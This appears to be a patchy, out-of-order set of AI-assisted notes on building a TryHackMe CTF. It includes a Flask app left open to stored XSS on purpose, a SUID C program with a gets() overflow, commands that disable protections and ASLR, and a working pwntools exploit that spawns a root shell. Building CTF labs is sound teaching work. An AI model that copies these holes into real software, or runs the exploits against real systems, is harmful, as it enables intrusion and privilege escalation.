) with username and password inputs. - Right side: Suggestion box form (
/suggest
) with a textarea to submit free-form text. - Below suggestion form: Displays the list of recent suggestions from the server.
- Left side: Login form (
- Vulnerability:
- Suggestions are displayed with
{{ s|safe }}
— disables auto-escaping, so if someone submits HTML or JS (e.g.,<script>...</script>
), it will run in users’ browsers.
- Suggestions are displayed with
- Styling:
- Uses Tailwind CSS for modern and responsive styling.
- Custom styles for typing animation and glowing buttons.
3. templates/dashboard.html
— Chat Dashboard
- Layout:
- Sidebar with a list of “friends” (Hanna, Miki, Alex, CyberBot), each with an avatar and a short message.
- Main chat area shows a Telegram-style conversation between Hanna and the logged-in user (
{{ username }}
). - Messages are styled with different background colors for Hanna (gray) and user (blue).
- The input box is disabled (no sending functionality for now).
- A logout button (not wired to any route yet).
- Dynamic Content:
- User’s avatar and name show using
{{ username }}
, which comes from the Flask backend.
- User’s avatar and name show using
- Styling:
- Tailwind CSS plus some custom scrollbar styles.
How They Work Together
- When a user visits
/
, they see the login page and suggestion box. - They can submit suggestions which get added to the server list and shown to all users.
- Because suggestions render unsanitized, anyone can inject JavaScript to steal cookies.
- Logging in sets a simple cookie
session=user=Samuel
. - Visiting
/dashboard
checks that cookie and shows the chat interface if valid. - The attacker bot reads stolen cookies from a file and tries to use them to access
/dashboard
.
What next?
We can:
- We can compile the code to Linux excutable, to find the username and password Reverse Engineer the code.
- Add the attacker bot code (
bot.py
) that reads stolen cookies and tries session hijacking. - Implement the simple cookie receiver server to collect cookies from XSS payloads.
- Add logout route and connect logout button.
- Improve authentication (maybe Flask sessions instead of manual cookie).
- Add deployment/packaging steps with PyInstaller.
Let me know which part you want to do next or if you want me to explain any part deeper!
1
2
3
4
5
6
7
8
9
10
11
12
13
ctf-messaging-app/
├── app.py <-- Main Flask app (backend)
├── bot.py <-- Background auto-login bot
├── cookie.txt <-- File where the session cookie will be stored
├── start-me.sh <-- Optional launcher script for Linux
├── requirements.txt <-- Python dependencies (Flask, requests)
├── templates/ <-- HTML files
│ ├── index.html <-- Login page + suggestion box (XSS target)
│ └── dashboard.html <-- Chat-style dashboard
└── static/ <-- CSS and JS files
├── style.css <-- Custom CSS styles
└── script.js <-- Optional frontend JS
Messaging App
🛠️ Now run these in your terminal:
1
2
3
4
5
6
7
8
mkdir -p ctf-messaging-app/templates
mkdir -p ctf-messaging-app/static
cd ctf-messaging-app
touch app.py bot.py cookie.txt start-me.sh requirements.txt
touch templates/index.html templates/dashboard.html
touch static/style.css static/script.js
Once you’ve created that structure
✅ Prompt for AI Website Builder Build me a clean and responsive login page for a CTF project.
A centered login form with two fields:
Username input
Password input
A Login button
On the right side of the page, there should be a suggestion box:
A textarea input for entering suggestions
A Submit button
Below the textarea, display submitted suggestions exactly as entered (no escaping)
Style everything with modern and clean CSS. Use plain HTML and CSS — no frameworks like Bootstrap.
Make the login form and suggestion box sit side-by-side using Flexbox. Add minimal styling (rounded corners, padding, light background).
The page layout should include:
✅ templates/index.html
(Flask Version, XSS-ready)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>CTF Challenge Login</title>
<script src="<https://cdn.tailwindcss.com>"></script>
<style>
.glow-effect {
box-shadow: 0 0 15px rgba(59, 130, 246, 0.5);
}
.glow-effect:hover {
box-shadow: 0 0 20px rgba(59, 130, 246, 0.7);
}
.typewriter {
overflow: hidden;
border-right: .15em solid #3b82f6;
white-space: nowrap;
margin: 0 auto;
letter-spacing: .15em;
animation: typing 3.5s steps(40, end), blink-caret .75s step-end infinite;
}
@keyframes typing {
from { width: 0 }
to { width: 100% }
}
@keyframes blink-caret {
from, to { border-color: transparent }
50% { border-color: #3b82f6 }
}
</style>
</head>
<body class="bg-gray-900 text-gray-100 min-h-screen flex items-center justify-center p-4">
<div class="max-w-6xl w-full bg-gray-800 rounded-xl p-8 shadow-2xl">
<h1 class="text-4xl font-bold text-center mb-2 text-blue-400">CTF Challenge Platform</h1>
<p class="text-center text-gray-400 mb-8 typewriter">Unlock the secrets. Solve the puzzles.</p>
<div class="flex flex-col md:flex-row gap-8">
<!-- Login Form -->
<div class="flex-1 bg-gray-700 p-6 rounded-lg">
<h2 class="text-2xl font-semibold mb-6 text-blue-300">Login</h2>
<form action="/login" method="POST" class="space-y-4">
<div>
<label for="username" class="block text-sm font-medium text-gray-300 mb-1">Username</label>
<input type="text" id="username" name="username" required
class="w-full px-4 py-2 bg-gray-600 border border-gray-500 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500 text-white placeholder-gray-400"
placeholder="Enter your username">
</div>
<div>
<label for="password" class="block text-sm font-medium text-gray-300 mb-1">Password</label>
<input type="password" id="password" name="password" required
class="w-full px-4 py-2 bg-gray-600 border border-gray-500 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500 text-white placeholder-gray-400"
placeholder="Enter your password">
</div>
<button type="submit"
class="w-full bg-blue-600 hover:bg-blue-700 text-white font-medium py-2 px-4 rounded-md transition duration-300 ease-in-out transform hover:scale-105 glow-effect">
Login
</button>
</form>
<div class="mt-4 text-center text-sm text-gray-400">
<p>New to CTF? <a href="#" class="text-blue-400 hover:underline">Register here</a></p>
</div>
</div>
<!-- Suggestion Box -->
<div class="flex-1 bg-gray-700 p-6 rounded-lg">
<h2 class="text-2xl font-semibold mb-6 text-blue-300">Suggestions</h2>
<form action="/suggest" method="POST" class="space-y-4">
<div>
<label for="suggestion" class="block text-sm font-medium text-gray-300 mb-1">Your Suggestion</label>
<textarea id="suggestion" name="suggestion" rows="4"
class="w-full px-4 py-2 bg-gray-600 border border-gray-500 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500 text-white placeholder-gray-400"
placeholder="You can add anything here..."></textarea>
</div>
<button type="submit"
class="w-full bg-green-600 hover:bg-green-700 text-white font-medium py-2 px-4 rounded-md transition duration-300 ease-in-out transform hover:scale-105 glow-effect">
Submit Suggestion
</button>
</form>
<div class="mt-6">
<h3 class="text-lg font-medium text-gray-300 mb-2">Recent Suggestions</h3>
<div class="space-y-3 max-h-48 overflow-y-auto pr-2">
{% for s in suggestions %}
<div class="bg-gray-600 p-3 rounded-md text-gray-200">{{ s|safe }}</div>
{% endfor %}
</div>
</div>
</div>
</div>
<div class="mt-8 text-center text-xs text-gray-500">
<p>© 2025 CTF Challenge Platform. All rights reserved.</p>
</div>
</div>
</body>
</html>
🧠 Notes:
- The
suggestions
list is injected from Flask usingrender_template()
— and the|safe
filter is used to allow XSS for the CTF. - The login and suggestion forms both now send data to Flask via
POST
(/login
and/suggest
).
Let’s now build the app.py
file that:
- Runs the Flask server on port
8080
- Hosts the
index.html
page - Accepts login (only Samuel / samuel123@)
- Accepts suggestions and stores them
- Shows suggestions on the index page
- Stores the valid user’s cookie into
cookie.txt
- Prepares everything for the XSS CTF (JavaScript injection will be tested in the suggestion box)
✅ app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, render_template, request, redirect, make_response
import os
app = Flask(__name__)
app.secret_key = 'ctf-super-secret'
# Store suggestions in memory for now
suggestions = []
# Hardcoded login credentials
VALID_USERNAME = 'Samuel'
VALID_PASSWORD = 'samuel123@'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html', suggestions=suggestions)
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
if username == VALID_USERNAME and password == VALID_PASSWORD:
resp = make_response(redirect('/dashboard'))
# Set a fake session cookie for CTF testing
cookie_value = 'user=' + username
resp.set_cookie('session', cookie_value)
# Save the cookie to a file (to be used by the bot later)
with open('cookie.txt', 'w') as f:
f.write(cookie_value)
return resp
else:
return 'Invalid credentials. Try again.', 401
@app.route('/suggest', methods=['POST'])
def suggest():
suggestion = request.form.get('suggestion')
if suggestion:
suggestions.append(suggestion)
return redirect('/')
@app.route('/dashboard')
def dashboard():
session_cookie = request.cookies.get('session')
if session_cookie != f'user={VALID_USERNAME}':
return redirect('/')
return render_template('dashboard.html', username=VALID_USERNAME)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
🔐 Notes:
- You can test login with:
- Username:
Samuel
- Password:
samuel123@
- Username:
- After login, a cookie named
session=user=Samuel
is set and saved incookie.txt
- This is what your XSS attack will steal from the suggestion box
✅ templates/dashboard.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Dashboard - CTF Messaging</title>
<script src="<https://cdn.tailwindcss.com>"></script>
</head>
<body class="bg-gray-900 text-gray-100 min-h-screen">
<div class="flex h-screen">
<!-- Sidebar (Friends list) -->
<div class="w-1/4 bg-gray-800 p-4 border-r border-gray-700">
<h2 class="text-xl font-bold text-blue-400 mb-4">Friends</h2>
<ul class="space-y-3">
<li class="bg-gray-700 p-2 rounded-md text-white">Hanna</li>
<li class="bg-gray-700 p-2 rounded-md text-white">Miki</li>
<li class="bg-gray-700 p-2 rounded-md text-white">Alex</li>
<li class="bg-gray-700 p-2 rounded-md text-white">CyberBot</li>
</ul>
</div>
<!-- Main Chat Area -->
<div class="flex-1 flex flex-col">
<div class="bg-gray-800 p-4 border-b border-gray-700">
<h1 class="text-2xl font-bold text-blue-300">Welcome, {{ username }}</h1>
<p class="text-sm text-gray-400">This is your secure messaging dashboard.</p>
</div>
<div class="flex-1 p-6 overflow-y-auto space-y-4 bg-gray-900">
<!-- Static chat messages (for now) -->
<div class="flex flex-col space-y-2">
<div class="self-start bg-gray-700 text-white p-3 rounded-lg max-w-md">
<strong>Hanna:</strong> Hey Samuel, are you joining the CTF today?
</div>
<div class="self-end bg-blue-600 text-white p-3 rounded-lg max-w-md">
<strong>You:</strong> Yeah, I’m logging in right now.
</div>
<div class="self-start bg-gray-700 text-white p-3 rounded-lg max-w-md">
<strong>Hanna:</strong> The first challenge has an XSS... careful!
</div>
<div class="self-end bg-blue-600 text-white p-3 rounded-lg max-w-md">
<strong>You:</strong> 😏 Let’s see if they can steal my cookie.
</div>
</div>
</div>
<div class="p-4 border-t border-gray-700 bg-gray-800">
<form class="flex gap-2">
<input type="text" placeholder="Type a message..." class="flex-1 px-4 py-2 rounded-md bg-gray-700 text-white border border-gray-600 focus:outline-none" disabled>
<button type="submit" class="bg-blue-500 px-4 py-2 rounded-md text-white cursor-not-allowed" disabled>Send</button>
</form>
</div>
</div>
</div>
</body>
</html>
💬 Notes:
- The message form is disabled for now (optional for CTF)
- Static messages simulate a real chat between Samuel and Hanna
- Feel free to customize messages to make the flag hunt more fun
✅ Compile It use PyInstaller
with -onefile
+ -add-data
To
This will compile everything into one binary (./ctf-messaging-app
) that works on any Linux machine.
🔧 Step-by-step: Compile everything into one .exe
or style binary
✅ 1. Install PyInstaller
1
2
pip install pyinstaller
✅ 2. Build Command for PyInstaller
Run this from inside your ctf-messaging-app/
folder:
1
2
3
4
5
6
7
8
pyinstaller app.py \\
--onefile \\
--name ctf-messaging-app \\
--add-data "templates:templates" \\
--add-data "static:static" \\
--add-data "cookie.txt:." \\
--add-data "bot.py:."
✅ Explanation:
Flag | Description |
---|---|
--onefile |
Bundle into a single executable |
--name |
Output binary will be named ctf-messaging-app |
--add-data |
Include folders/files like HTML and JS |
⚠️ Important: On Linux, use :
for --add-data
. On Windows, use ;
.
✅ 3. Run your compiled app:
After it builds, go to the output folder:
1
2
3
cd dist
./ctf-messaging-app
✅ 4. Make it like a native Linux app
Optionally move it:
1
2
sudo cp ctf-messaging-app /usr/local/bin/
Now you can run it from anywhere:
1
2
ctf-messaging-app
✅ Writeup
You’re almost there! Want me to help with the .spec
file or launcher script too?
- JavaScript-based XSS vulnerability
- Exploiting XSS reveals an encoded script containing FTP login information 🧠🔓📜
Hints:
- Access logs include suspicious query strings
- HTML comments and JavaScript variables hide encoded messages
- Fake scripts are placed to mislead players 📄🕵️♂️💥
Lateral Movement:
- Script is buried within multiple subdirectories
- Players must decode base64 or reversed JavaScript payloads
- Must manually explore folders such as
/opt/web/scripts/
🔍🧩📂
Tools Needed by Players:
- Firefox/Chrome DevTools
- XSS payloads and manual inspection
- View-source analysis and basic JS decoding 🧰💡🖥️
User 3: MIMI 🔐📁🧠
Final Node
Initial Access:
✅ CTF Challenge Setup: SUID Buffer Overflow
🔧 Step 1: Vulnerable C Code (vuln.c
)
You’ve already provided a good code snippet. Here it is with minor improvements (e.g., compiler warnings):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h> // For setuid/setgid
// Explicitly declare gets(), since it's removed from modern headers
char *gets(char *s);
void give_shell() {
setuid(0);
setgid(0);
system("/bin/sh");
}
void handle_input() {
char buffer[64];
printf("Enter your secret message: ");
fflush(stdout);
gets(buffer); // vulnerable: buffer overflow
printf("You entered: %s\n", buffer);
}
int main() {
printf("Welcome to the secure messaging system!\n");
handle_input();
printf("Exiting...\n");
return 0;
}
🧪 Step 2: Compile with Weak Security Settings
Compile on a Linux machine with protections disabled:
1
2
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie
Flag | Purpose |
---|---|
-fno-stack-protector |
Disables stack canaries |
-z execstack |
Makes the stack executable (optional for shellcode) |
-no-pie |
Disables PIE (static address space = easier exploit) |
🛡️ Step 3: Set Ownership and Permissions
1
2
3
sudo chown root:root vuln # Must be owned by root
sudo chmod 4755 vuln # Set SUID bit (4 = setuid, 755 = rwxr-xr-x)
Verify:
1
2
3
ls -l vuln
# -rwsr-xr-x 1 root root ... vuln
🏁 Step 4: Place the Flag
1
2
3
4
5
sudo mkdir -p /mimi
echo "FLAG{You_found_the_mimi_flag_and_escalated_privileges!}" | sudo tee /mimi/flag.txt > /dev/null
sudo chmod 400 /mimi/flag.txt
sudo chown root:root /mimi/flag.txt
📁 Step 5: Deploy Binary in Challenge Directory
1
2
3
4
sudo mkdir -p /opt/challenge
sudo mv vuln /opt/challenge/vuln
sudo chmod +x /opt/challenge/vuln
Make sure the user (e.g., samuel
) has permission to execute:
1
2
3
sudo useradd -m samuel
sudo chown root:samuel /opt/challenge/vuln
💻 Step 6: Test User Experience
-
Switch to the test user:
1 2
su - samuel
-
Run the binary:
1 2
/opt/challenge/vuln
-
Use tools like:
gdb /opt/challenge/vuln
objdump -d /opt/challenge/vuln
strings /opt/challenge/vuln
🎯 The Exploit (Player Perspective)
Exploit Plan:
-
Find the address of
give_shell
:1 2
objdump -d /opt/challenge/vuln | grep give_shell
-
Calculate the offset to return address:
Use
gdb
or pattern tools. For this binary, it’s typically72–76
bytes.Example with
gdb
:1 2 3 4
gdb /opt/challenge/vuln (gdb) disas handle_input (gdb) run
-
Exploit Payload:
1 2
python3 -c "print('A'*76 + '\\xNN\\xNN\\xNN\\xNN')" | /opt/challenge/vuln
Replace
\\xNN...
with the little-endian address ofgive_shell()
. -
Boom! Root shell.
🧼 Extra Tips for Realism or Hardening:
-
Disable ASLR (temporarily for consistent behavior):
1 2
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
- Use
readelf -s vuln
to find symbols ifobjdump
doesn’t help. - Use
gdb-peda
orpwndbg
to assist exploitation (optional but helpful). - Place binary in
~/opt/
to simulate a more realistic environment. - Add hints like
README.txt
or hidden.notes
to guide players subtly.
🏁 Final Test: Checklist
Checkpoint | Status |
---|---|
SUID binary is correctly set | ✅ |
Buffer overflow exists | ✅ |
ASLR is disabled (optional) | ✅ |
give_shell() is present and reachable |
✅ |
Flag is root-readable only | ✅ |
User samuel can run the binary |
✅ |
Binary is non-PIE and exploitable | ✅ |
Would you like a pre-made Docker container or VM template of this challenge as well? I can help package this into a ready-to-go CTF setup.
You’re running into expected behavior for a restricted user (samuel
) on a Linux system:
🧱 Problem Summary
gdb
is not installed, and the system suggests installing it withapt install gdb
.samuel
is not root, soapt
cannot be used to install packages.- You’re typing GDB commands (
disas
,run
) directly in the shell, not within GDB (this causes the “syntax error near unexpected token” error).
✅ How to Fix and Proceed
🔹 Option 1: Ask the admin (you?) to install gdb
If you control the machine (or are setting up the CTF):
1
2
3
sudo apt update
sudo apt install gdb
Then samuel
can run:
1
2
gdb /opt/challenge/vuln
🔹 Option 2: Use objdump
(already installed)
If you can’t install GDB, you can still analyze the binary using objdump
, which is usually pre-installed:
1
2
objdump -d /opt/challenge/vuln | less
To find the address of the give_shell
function:
1
2
objdump -d /opt/challenge/vuln | grep give_shell
Example output:
1
2
080484b6 <give_shell>:
That 080484b6
is the address you want to jump to (you’ll reverse it for your exploit: \xb6\x84\x04\x08
).
🔹 Option 3: Use readelf
(also likely installed)
1
2
readelf -s /opt/challenge/vuln | grep give_shell
🧠 Reminder: How to Use GDB Correctly (When It’s Installed)
You don’t type disas
or run
in the shell directly. You first enter gdb
, then run commands inside its prompt:
1
2
3
4
samuel@bunna:~$ gdb /opt/challenge/vuln
(gdb) disassemble handle_input
(gdb) run
🚀 Next Steps (If GDB is not an option)
Just proceed with static analysis using objdump
:
- Find the address of
give_shell()
. - Build the exploit payload with the correct offset (usually 76 bytes of padding, then the address in little-endian).
- Pipe the payload:
1
2
python3 -c "print('A'*76 + '\xb6\x84\x04\x08')" | /opt/challenge/vuln
(Replace the address bytes with the actual ones you find.)
Let me know if you’d like help generating the payload dynamically, automating the exploit, or verifying the offset with a pattern!
Great, Abraham! You’ve shared the source code of the vulnerable program. Since it uses gets()
and contains a give_shell()
function, we can exploit it using a buffer overflow to overwrite the return address with the address of give_shell()
, giving us a root shell.
🧨 Final Exploit Script (All-in-One)
Below is a complete Python exploit using pwntools
that:
- Finds the correct offset,
- Leaks the address of
give_shell()
from the binary, - Constructs the payload to overflow and redirect execution to
give_shell()
.
✅ Exploit Script: exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
# Load binary
elf = ELF("/opt/challenge/vuln")
# Start process
p = process(elf.path)
# Step 1: Offset found from pattern (64 bytes buffer + 8 bytes saved RBP)
offset = 72
# Step 2: Get the address of give_shell
give_shell = elf.symbols['give_shell']
log.success(f"give_shell() is at {hex(give_shell)}")
# Step 3: Build the payload
payload = b"A" * offset + p64(give_shell)
# Step 4: Send payload
p.recvuntil(b"Enter your secret message: ")
p.sendline(payload)
# Step 5: Get shell
p.interactive()
⚙️ How to Run It
- Install pwntools (if not already):
1
2
pip install pwntools
- Run the exploit:
1
2
python3 exploit.py
🎯 Result
You will get:
1
2
3
$ id
uid=0(root) gid=0(root) groups=0(root)
🎉 Root shell successfully spawned!
🧠 Bonus — How You Got 72 Bytes:
- 64 bytes = buffer
- 8 bytes = saved RBP
- Then the next 8 = return address (we overwrite it with
give_shell()
)
- Triggered by a script from Samuel’s challenge
- SSH credentials discovered allow access to Mingmi’s account 🔑🧳🌐
Challenge:
- Privilege escalation via misconfigured
sudo
rule (e.g.,nano
orless
allowed as root) 🧱📈🔧
Flags:
- User flag located in Mimi’s home directory
- Root flag located in
/root/
Story Element:
-
Journal in Mingmi’s home directory reads:
“I was trusted once… they never noticed I left my powers in plain sight.”
- A hidden key is embedded in
.bash_history
or.viminfo
- This key acts as both an access credential and a symbolic conclusion to the CTF 📖🗝️🏁
Hints:
sudo -l
reveals vulnerable commands- Legacy configuration backups in
/home/mingmi/old_config/
have loose permissions - Several decoy password files present 🗂️👀🧪
Tools Needed by Players:
sudo -l
- Knowledge of privilege escalation techniques using
nano
,less
, orfind
- Manual exploitation methods only (no automation scripts) 🧰🔧🎯
Export VM from VirtualBox
🔧 Step-by-Step: Export VM from VirtualBox to TryHackMe
✅ Step 1: Clean Up the VM
Before exporting:
- Start the VM
- Remove personal data (if any)
-
Run:
1 2 3 4
sudo apt clean sudo rm -rf /tmp/* history -c
- Shut down the VM completely (not pause).
✅ Step 2: Export the VM as .ova
- Open VirtualBox
- Click on your VM to select it
- Go to File > Export Appliance
✅ VirtualBox “Export Virtual Appliance” – What to Choose
You’ll see a window with several options:
🔹 Format
Open Virtualization Format 1.0
✅ Leave it as it is — this is the correct format TryHackMe accepts.
Don’t select “Oracle Cloud Infrastructure.”
Stick with Open Virtualization Format 1.0.
🔹 File:
Example: /home/neo/Documents/bunna server.ova
✅ This is the name and location of the .ova
file that will be created.
🟡 IMPORTANT:
- Must end in
.ova
- No special characters in the filename (✅ bunna_server.ova, ❌ bunna server🔥.ova)
- You can click the folder icon to choose a safe folder
📌 You can rename it to something like:
1
2
/home/neo/Documents/bunna_server.ova
🔹 MAC Address Policy
You’ll see:
Include only NAT network adapter MAC addresses
✅ (recommended)Include all network adapter MAC addresses
Generate new MAC addresses for all network adapters
✅ Choose:
1
2
Include only NAT network adapter MAC addresses
This prevents issues when uploading to TryHackMe.
🔹 Additionally:
Here you have two checkboxes:
- ✅ Write Manifest file
- ✔️ Keep this checked — it helps verify the integrity of your
.ova
- ✔️ Keep this checked — it helps verify the integrity of your
- ❌ Include ISO image files
- ❌ UNcheck this — you don’t want to include the ISO, it will make the
.ova
very large and not needed by TryHackMe
- ❌ UNcheck this — you don’t want to include the ISO, it will make the
✅ Final Summary — Settings You Should Use
Option | What to Select |
---|---|
Format | Open Virtualization Format 1.0 |
File | /home/neo/Documents/bunna_server.ova |
MAC Address Policy | Include only NAT network adapter MAC addresses |
Write Manifest File | ✅ Yes (checked) |
Include ISO image files | ❌ No (unchecked) |
✅ After that:
Click Next → and then Export
✅ Wait while it creates the .ova
file — it may take a few minutes depending on size.
Once you have bunna_server.ova
, you’re ready to upload it to TryHackMe! 🎯
Do you want me to help you test the VM on TryHackMe or build a flag system inside it like /flag.txt
?
💡 Result: You will get a file like myvm.ova
✅ Step 3: Compress the .ova
(Optional)
TryHackMe accepts .ova
, but to make upload faster:
You can compress the .ova
using ZIP:
1
2
zip myvm.zip myvm.ova
✅ Step 4: Upload to TryHackMe
Now let’s go to TryHackMe:
- Go to https://tryhackme.com
- Click your profile > Go to “Create Room”
- Click “Machines” tab
- Click “Add Virtual Machine”
- Fill:
- VM Name: (e.g.,
buna-ctf-vm
) - Base Image: Choose
Ubuntu
orCustom
- Upload OVA File: Upload your
.ova
- Description: Write what the VM is for (CTF, challenge, etc.)
- VM Name: (e.g.,
- Click Upload
📢 Wait a few minutes — TryHackMe will scan and prepare your machine.
✅ Step 5: Connect and Test
Once uploaded:
- You’ll see it listed in your room
- Launch it from your room preview
- Connect via TryHackMe web shell or your own OpenVPN and test everything works!
🧠 Tips
- Don’t use passwords like
1234
, make it secure. - Remove unnecessary tools.
- Set a static IP if your challenge depends on it.